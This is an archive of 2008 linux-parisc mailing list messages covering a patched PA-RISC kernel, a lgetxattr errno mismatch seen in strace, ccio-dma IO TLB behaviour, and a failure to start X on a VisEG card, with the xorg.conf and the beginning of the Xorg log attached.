Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D8CA54EAE; Mon,  4 Aug 2008 11:34:12 -0400 (EDT)
In-Reply-To: <7d01f9f00808040159ud7f1afw8e0ee77760bc9c68@mail.gmail.com> from "Thibaut VARENE" at Aug 4, 2008 10:59:08 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:586
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/586>

> Is there a source tarball of that, or a list of applied patches? I
> would very much like to use that "homebrew" kernel on my cluster as
> well, until newer kernels are proven reliable enough...

I built a tar ball, linux-2.6.22.19-jda.tar.gz.  It is in my home directory
on gsyprf11.  The source is also there.  The most important patch is
compat_sys_getdents.d from Kyle.  The base is linux-2.6.22.19.tar.bz2
from kernel.org.  The .config file was derived from some earlier config
file on this machine (can't remember which).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Cupertino test ring problem?
Date: Mon, 4 Aug 2008 17:39:30 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <7d01f9f00808040839t49d384a7u23c8edfe3e81b4d5@mail.gmail.com>
References: <7d01f9f00808040159ud7f1afw8e0ee77760bc9c68@mail.gmail.com>
	 <20080804153412.D8CA54EAE@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1217864397 32700 80.91.229.12 (4 Aug 2008 15:39:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Aug 2008 15:39:57 +0000 (UTC)
Cc: grundler@parisc-linux.org, linux-parisc@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 04 17:40:47 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KQ2Aw-0007cR-Ph
	for glpp-linux-parisc@gmane.org; Mon, 04 Aug 2008 17:40:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753460AbYHDPjd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Aug 2008 11:39:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752998AbYHDPjd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 Aug 2008 11:39:33 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.228]:35745 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753460AbYHDPjc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Aug 2008 11:39:32 -0400
Original-Received: by wr-out-0506.google.com with SMTP id 69so1510260wri.5
        for <linux-parisc@vger.kernel.org>; Mon, 04 Aug 2008 08:39:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=Ljufnzs2qJm57JjWSt3taI5s4Ay5lWYTuvc8OAt9W+A=;
        b=oFltnUfH1pKPqRoKc+X43F/bOKqV/zly5uTfiDSdXjPI6xZskFO4o9Sc/96oWdP0u+
         k3hRHBXAkMhWegNvtLcCYkE6XOWo4uc0otUwjfcvmN5NMk+eWp7/i3ZGOA5SI41j6gnV
         HDNLVTgv6O3i7zvXQ55B86UCG/eyLWldP57UM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=sry6paor396W0nW9MMjwC8AL3MpMtAerPCvRh7b+8bjN4854CXy9gVER1uKQsvQZ5q
         hUpncom648sev7p5vEPA03k+ygG/ELG+vgO8TriONL3/6XR3oVsAYtm4YrSX+xovxOGp
         X/qmNZcTgtj7R2rr/TlKjNzUdm78UGDTmV2GA=
Original-Received: by 10.90.113.17 with SMTP id l17mr14806189agc.78.1217864370504;
        Mon, 04 Aug 2008 08:39:30 -0700 (PDT)
Original-Received: by 10.90.63.6 with HTTP; Mon, 4 Aug 2008 08:39:30 -0700 (PDT)
In-Reply-To: <20080804153412.D8CA54EAE@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: d1659c653394a0b8
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:587
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/587>

On Mon, Aug 4, 2008 at 5:34 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> Is there a source tarball of that, or a list of applied patches? I
>> would very much like to use that "homebrew" kernel on my cluster as
>> well, until newer kernels are proven reliable enough...
>
> I built a tar ball, linux-2.6.22.19-jda.tar.gz.  It is in my home directory
> on gsyprf11.  The source is also there.  The most important patch is
> compat_sys_getdents.d from Kyle.  The base is linux-2.6.22.19.tar.bz2
> from kernel.org.  The .config file was derived from some earlier config
> file on this machine (can't remember which).

Thanks a lot, I'll fetch that later on!

T-Bone
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Mon, 4 Aug 2008 15:39:57 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <20080804193957.783104E6A@hiauly1.hia.nrc.ca>
References: <20080417075357.GB23641@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1217878814 22152 80.91.229.12 (4 Aug 2008 19:40:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Aug 2008 19:40:14 +0000 (UTC)
Cc: matthew@wil.cx, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 04 21:41:03 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KQ5vM-0000OJ-Rf
	for glpp-linux-parisc@gmane.org; Mon, 04 Aug 2008 21:40:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754426AbYHDTj7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Aug 2008 15:39:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756602AbYHDTj7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 Aug 2008 15:39:59 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2014 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754426AbYHDTj6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Aug 2008 15:39:58 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 783104E6A; Mon,  4 Aug 2008 15:39:57 -0400 (EDT)
In-Reply-To: <20080417075357.GB23641@phobos.i.cabal.ca> from "Kyle McMartin" at Apr 17, 2008 03:53:57 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:588 gmane.linux.debian.ports.hppa:5415
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/588>

> On Sun, Apr 06, 2008 at 07:09:59PM -0400, John David Anglin wrote:
> > > If you strace it, what syscall returns -EOPNOTSUPP?
> > 
> > strace is broken and quits before the relevant syscall.  Think I
> > mentioned this before is a different context.
> > 
> 
> Fixed & updated strace available at
> http://people.debian.org/~kyle/strace/

lgetxattr("strace_4.5.16-1_hppa.deb", "security.selinux"..., 0x2c768, 255) = -1 EOPNOTSUPP 
(Operation not supported)

This is probably the correct return but the manpage for lgetxattr says
it should return ENOTSUP.  Possibly, the problem occurs on hppa because
ENOTSUP and EOPNOTSUPP are different codes.  In any case, the current
version of ls only checks for ENOTSUP.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ccio-dma: is issue could be related to too much io_tlb entries?
Date: Tue,  5 Aug 2008 15:21:32 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <K54T7W$01C58047996F3451AE396720C28F9E08@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1217946380 27153 80.91.229.12 (5 Aug 2008 14:26:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Aug 2008 14:26:20 +0000 (UTC)
Cc: "grundler" <grundler@parisc-linux.org>, "kyle" <kyle@mcmartin.ca>,
	"linux-parisc" <linux-parisc@vger.kernel.org>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 05 16:27:10 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KQNUn-0000NR-77
	for glpp-linux-parisc@gmane.org; Tue, 05 Aug 2008 16:26:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754475AbYHEOZX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Aug 2008 10:25:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757277AbYHEOZX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 Aug 2008 10:25:23 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:52214 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754475AbYHEOZV convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Aug 2008 10:25:21 -0400
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m75ELW8b016855;
	Tue, 5 Aug 2008 16:21:32 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC--Metrics: eir; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:589
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/589>

> On Thu, Jul 24, 2008 at 02:13:55PM +0100, Joel Soete wrote:
> > Hello Grant, Kyle, et al.,
> > 
> > Iirc the number of io_tlb enties on this u2/uturn ioa is of 256?
> 
> ISTR that u2 and uturn have different number of IO TLB entries.
> But I don't recall how many exactly. Need the ERSs to look that up.
> 
Well, I don't yet find the right way to get access, sorry.

> > Because issue occur only when I do a lot of I/O on scsi disk (sometime request
> > of mapping reach 128 pages), the idea was that it could induce some exceed of
> > iotlb entries.
> > 
[snip]
> 
> The number of "used" entries include "in flight" DMA and pci_consistent
allocations. This generally isn't that many pages of RAM.
> 
Ok,
But the idea was that if so much pdir entries was mapped in a so short time
(1s), it should be also that the device will try to use them on the fly (just
an hypothesis.)
And so far as I can observe, the pb occurs when os operate on numerous huge
data blocks (i.e. a tar -xvf of a linux tree into a single fs); so in this
case it should be that the i/o device trigger many i/o tlb miss and may be
much more i/o tlb entries then it can be freed?
What I observe also is that the pb become worse either with a system with few
ram (like my c110 with 64M) or when I resurrect CCIO_MEM_RATIO (e.g. 2 or 4)
on a system with 256Mb of RAM). In those last 2 cases the effect is the same:
  a/ it makes the pdir_size and the number of pdir entries smaller
  b/ as well for chainid_shift.

This last point (b/) make me thought that it would also make smaller the
number of 4k-byte per chainid and so for a same DMA block size it would
required more iotlb entries.

Obviously just speculation ;<).

Even thought 3 things sure: 
  - issue occurs for huge I/O
  - become worse with reduced iov_space_size (physical or logical)
  - backport sba help a bit but doesn't fix issue      

> > Anyway, difference between those last 2 samples (718 - 444) = 274 increase of
> > io_pdir entries.
> 
> That's about right for a SCSI device since it can't have that much
> IO in flight for one or two disks.
> 
[snip]
> 
> Of course. The number of "used" entries in the IO Pdir has no direct
> correlation to the number of "in use" IO TLB entries. IO TLB is fixed
> size while the IO Pdir size can vary between boots.
> 
> > 
> > Well as scatterlist is still puzzling me, I can still be confused between
> > iommu and mmu pages mapping, sorry so in advance if it's yet another annoying
> > comment.
> 
> IOMMU is an MMU for IO devices. MMU is the same thing for CPU.
> Differences exist between those two. DMA is generally to larger
> chunks/regions of RAM (256-2K bytes) while CPUs need to enforce
> access rights (X/R/W) to memory and deal with cachelines or less.
> 
(well I still have difficulties in the relationship between all those buffers
which are caches and tlb and over that I/O DMA with its own set of cache and
iotlb. Fortunately there are now good doc freely available and good engine to
look for it, but it's not yet so easy to me)

Tx again for advises,
    J.

> hth,
> grant
> --


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: X won't start with VisEG and 2.6.22.19
Date: Tue, 5 Aug 2008 21:42:08 -0400
Organization: nrc.ca
Lines: 535
Approved: news@gmane.org
Message-ID: <20080806014207.GA2590@hiauly1.hia.nrc.ca>
References: <488DFD62.4080307@hp.com> <20080728171500.GB16059@parisc-linux.org> <488F777E.6090405@hp.com> <1217363136.6103.68.camel@localhost.localdomain> <488F842F.3040000@hp.com> <1217369386.6103.73.camel@localhost.localdomain> <20080731051524.GC18732@colo.lackof.org> <4891F5C0.8010307@hp.com> <20080801233142.GC26550@colo.lackof.org> <7d01f9f00808040159ud7f1afw8e0ee77760bc9c68@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="/9DWx/yDrRhgMJTb"
X-Trace: ger.gmane.org 1217986947 27137 80.91.229.12 (6 Aug 2008 01:42:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Aug 2008 01:42:27 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Parisc List <linux-parisc@vger.kernel.org>, deller@gmx.de
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 06 03:43:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KQY3V-0004zr-5o
	for glpp-linux-parisc@gmane.org; Wed, 06 Aug 2008 03:43:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759841AbYHFBmO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Aug 2008 21:42:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756492AbYHFBmO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 Aug 2008 21:42:14 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2149 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759841AbYHFBmL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Aug 2008 21:42:11 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 074A94E2A; Tue,  5 Aug 2008 21:42:08 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <7d01f9f00808040159ud7f1afw8e0ee77760bc9c68@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:590
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/590>


--/9DWx/yDrRhgMJTb
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

> > It wasn't and the default debian kernel didn't boot either.
> > I've set the default kernel to jda's 2.6.22.19 patched kernel.
> 
> Is there a source tarball of that, or a list of applied patches? I
> would very much like to use that "homebrew" kernel on my cluster as
> well, until newer kernels are proven reliable enough...

I should mention that I've had a problem with starting X with lenny
and 2.6.22.  This has been a problem for sometime.  I've tried simplifying
the xorg.conf file and adding the mode helper to the kernel, but I
haven't found the magic incantation that works.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--/9DWx/yDrRhgMJTb
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="xorg.conf"

# xorg.conf (xorg X Window System server configuration file)
#
# This file was generated by dexconf, the Debian X Configuration tool, using
# values from the debconf database.
#
# Edit this file with caution, and see the xorg.conf manual page.
# (Type "man xorg.conf" at the shell prompt.)
#
# This file is automatically updated on xserver-xorg package upgrades *only*
# if it has not been modified since the last upgrade of the xserver-xorg
# package.
#
# If you have edited this file but would like it to be automatically updated
# again, run the following command:
#   sudo dpkg-reconfigure -phigh xserver-xorg

Section "Files"
EndSection

Section "InputDevice"
	Identifier	"Generic Keyboard"
	Driver		"kbd"
	Option		"CoreKeyboard"
	Option		"XkbRules"	"xorg"
	Option		"XkbModel"	"pc104"
	Option		"XkbLayout"	"us"
EndSection

Section "InputDevice"
	Identifier	"Configured Mouse"
	Driver		"mouse"
	Option		"CorePointer"
	Option		"Device"		"/dev/input/mice"
	Option		"Protocol"		"ImPS/2"
	Option		"Emulate3Buttons"	"true"
EndSection

Section "Device"
	Identifier	"HP VisEG"
	Driver		"fbdev"
	BusID		"PCI:2:3:0"
#	Option		"UseFBDev"		"true"
EndSection

Section "Monitor"
	Identifier	"NEC LCD1980SX"
	Option		"DPMS"			"true"
	HorizSync	20-107
	VertRefresh	50-85
EndSection

Section "Screen"
	Identifier	"Default Screen"
	Device		"HP VisEG"
	Monitor		"NEC LCD1980SX"
	DefaultDepth	8
#	SubSection "Display"
#		Modes		"1280x1024"
#	EndSubSection
EndSection

Section "ServerLayout"
	Identifier	"Default Layout"
	Screen		"Default Screen"
	InputDevice	"Generic Keyboard"
	InputDevice	"Configured Mouse"
EndSection

Section "ServerFlags"
	Option "AIGLX"	"false"
#	Option "DisableVidModeExtension"  "true"
#	Option "NoTrapSignals"  "true"
EndSection

--/9DWx/yDrRhgMJTb
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="Xorg.0.log"


X.Org X Server 1.4.2
Release Date: 11 June 2008
X Protocol Version 11, Revision 0
Build Operating System: Linux Debian (xorg-server 2:1.4.2-2)
Current Operating System: Linux hiauly6 2.6.22.19 #17 Tue Aug 5 18:17:30 EDT 2008 parisc
Build Date: 22 July 2008  02:19:19PM
 
	Before reporting problems, check http://wiki.x.org
	to make sure that you have the latest version.
Module Loader present
Markers: (--) probed, (**) from config file, (==) default setting,
	(++) from command line, (!!) notice, (II) informational,
	(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) Log file: "/var/log/Xorg.0.log", Time: Tue Aug  5 18:23:03 2008
(==) Using config file: "/etc/X11/xorg.conf"
(==) ServerLayout "Default Layout"
(**) |-->Screen "Default Screen" (0)
(**) |   |-->Monitor "NEC LCD1980SX"
(**) |   |-->Device "HP VisEG"
(**) |-->Input Device "Generic Keyboard"
(**) |-->Input Device "Configured Mouse"
(**) Option "AIGLX" "false"
(==) Automatically adding devices
(==) Automatically enabling devices
(==) FontPath set to:
	/usr/share/fonts/X11/misc,
	/usr/share/fonts/X11/cyrillic,
	/usr/share/fonts/X11/100dpi/:unscaled,
	/usr/share/fonts/X11/75dpi/:unscaled,
	/usr/share/fonts/X11/Type1,
	/usr/share/fonts/X11/100dpi,
	/usr/share/fonts/X11/75dpi,
	/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType
(==) RgbPath set to "/etc/X11/rgb"
(==) ModulePath set to "/usr/lib/xorg/modules"
(II) No APM support in BIOS or kernel
(II) Loader magic: 0x1cbcd4
(II) Module ABI versions:
	X.Org ANSI C Emulation: 0.3
	X.Org Video Driver: 2.0
	X.Org XInput driver : 2.0
	X.Org Server Extension : 0.3
	X.Org Font Renderer : 0.5
(II) Loader running on linux
(II) LoadModule: "pcidata"
(II) Loading /usr/lib/xorg/modules//libpcidata.so
(II) Module pcidata: vendor="X.Org Foundation"
	compiled for 1.4.2, module version = 1.0.0
	ABI class: X.Org Video Driver, version 2.0
(++) using VT number 7

(II) PCI: PCI scan (all values are in hex)
(II) PCI: 00:0c:0: chip 1011,0019 card 103c,104f rev 41 class 02,00,00 hdr 00
(II) PCI: 00:0d:0: chip 11d4,1889 card 11d4,1889 rev 00 class 04,01,00 hdr 00
(II) PCI: 00:0e:0: chip 100b,0002 card 0000,0000 rev 03 class 01,01,8f hdr 80
(II) PCI: 00:0e:1: chip 100b,000e card 0000,0000 rev 01 class 06,80,00 hdr 80
(II) PCI: 00:0e:2: chip 100b,0012 card 0000,0000 rev 02 class 0c,03,10 hdr 80
(II) PCI: 00:0f:0: chip 1000,000b card 1000,1000 rev 07 class 01,00,00 hdr 80
(II) PCI: 00:0f:1: chip 1000,000b card 1000,1000 rev 07 class 01,00,00 hdr 80
(II) PCI: 01:06:0: chip 1000,0021 card 1000,1070 rev 01 class 01,00,00 hdr 80
(II) PCI: 01:06:1: chip 1000,0021 card 1000,1070 rev 01 class 01,00,00 hdr 80
(II) PCI: 02:03:0: chip 103c,1005 card 0000,0000 rev 03 class 03,80,00 hdr 00
(II) PCI: End of PCI scan
(II) Host-to-PCI bridge:
(II) Bus 0: bridge is at (0:0:0), (0,0,0), BCTRL: 0x0008 (VGA_EN is set)
(II) Bus 0 I/O range:
	[0] -1	0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 0 non-prefetchable memory range:
	[0] -1	0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 0 prefetchable memory range:
	[0] -1	0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Host-to-PCI bridge:
(II) Bus 1: bridge is at (0:0:0), (1,1,0), BCTRL: 0x0008 (VGA_EN is set)
(II) Bus 1 I/O range:
	[0] -1	0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 1 non-prefetchable memory range:
	[0] -1	0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 1 prefetchable memory range:
	[0] -1	0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Host-to-PCI bridge:
(II) Bus 2: bridge is at (0:0:0), (2,2,0), BCTRL: 0x0008 (VGA_EN is set)
(II) Bus 2 I/O range:
	[0] -1	0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 2 non-prefetchable memory range:
	[0] -1	0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 2 prefetchable memory range:
	[0] -1	0	0x00000000 - 0xffffffff (0x0) MX[B]
(--) PCI:*(2:3:0) Hewlett-Packard Company A4977A Visualize EG rev 3, Mem @ 0xfa000000/25, BIOS @ 0xf6000000/16
(II) Addressable bus resource ranges are
	[0] -1	0	0x00000000 - 0xffffffff (0x0) MX[B]
	[1] -1	0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) OS-reported resource ranges:
	[0] -1	0	0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)
	[1] -1	0	0x000f0000 - 0x000fffff (0x10000) MX[B]
	[2] -1	0	0x000c0000 - 0x000effff (0x30000) MX[B]
	[3] -1	0	0x00000000 - 0x0009ffff (0xa0000) MX[B]
	[4] -1	0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[5] -1	0	0x00000000 - 0x000000ff (0x100) IX[B]
(II) Active PCI resource ranges:
	[0] -1	0	0xf4800000 - 0xf4801fff (0x2000) MX[B]
	[1] -1	0	0xf4804000 - 0xf48043ff (0x400) MX[B]
	[2] -1	0	0xf4802000 - 0xf4803fff (0x2000) MX[B]
	[3] -1	0	0xf4805000 - 0xf48053ff (0x400) MX[B]
	[4] -1	0	0xf4000000 - 0xf4001fff (0x2000) MX[B]
	[5] -1	0	0xf4004000 - 0xf40043ff (0x400) MX[B]
	[6] -1	0	0xf4002000 - 0xf4003fff (0x2000) MX[B]
	[7] -1	0	0xf4005000 - 0xf40053ff (0x400) MX[B]
	[8] -1	0	0xf4006000 - 0xf4006fff (0x1000) MX[B]
	[9] -1	0	0xf4007000 - 0xf4007fff (0x1000) MX[B]
	[10] -1	0	0xf4009000 - 0xf400900f (0x10) MX[B]
	[11] -1	0	0xf400a000 - 0xf400a00f (0x10) MX[B]
	[12] -1	0	0xf400b000 - 0xf400b00f (0x10) MX[B]
	[13] -1	0	0xf400c000 - 0xf400c1ff (0x200) MX[B]
	[14] -1	0	0xf4008000 - 0xf40083ff (0x400) MX[B]
	[15] -1	0	0xf6000000 - 0xf600ffff (0x10000) MX[B](B)
	[16] -1	0	0xfa000000 - 0xfbffffff (0x2000000) MX[B](B)
	[17] -1	0	0x00012000 - 0x000120ff (0x100) IX[B]
	[18] -1	0	0x00012100 - 0x000121ff (0x100) IX[B]
	[19] -1	0	0x00000800 - 0x000008ff (0x100) IX[B]
	[20] -1	0	0x00000900 - 0x000009ff (0x100) IX[B]
	[21] -1	0	0x00000a00 - 0x00000a0f (0x10) IX[B]
	[22] -1	0	0x00000b00 - 0x00000b03 (0x4) IX[B]
	[23] -1	0	0x00000d00 - 0x00000d07 (0x8) IX[B]
	[24] -1	0	0x00000e00 - 0x00000e03 (0x4) IX[B]
	[25] -1	0	0x00000f00 - 0x00000f07 (0x8) IX[B]
	[26] -1	0	0x00001000 - 0x0000107f (0x80) IX[B]
(II) Active PCI resource ranges after removing overlaps:
	[0] -1	0	0xf4800000 - 0xf4801fff (0x2000) MX[B]
	[1] -1	0	0xf4804000 - 0xf48043ff (0x400) MX[B]
	[2] -1	0	0xf4802000 - 0xf4803fff (0x2000) MX[B]
	[3] -1	0	0xf4805000 - 0xf48053ff (0x400) MX[B]
	[4] -1	0	0xf4000000 - 0xf4001fff (0x2000) MX[B]
	[5] -1	0	0xf4004000 - 0xf40043ff (0x400) MX[B]
	[6] -1	0	0xf4002000 - 0xf4003fff (0x2000) MX[B]
	[7] -1	0	0xf4005000 - 0xf40053ff (0x400) MX[B]
	[8] -1	0	0xf4006000 - 0xf4006fff (0x1000) MX[B]
	[9] -1	0	0xf4007000 - 0xf4007fff (0x1000) MX[B]
	[10] -1	0	0xf4009000 - 0xf400900f (0x10) MX[B]
	[11] -1	0	0xf400a000 - 0xf400a00f (0x10) MX[B]
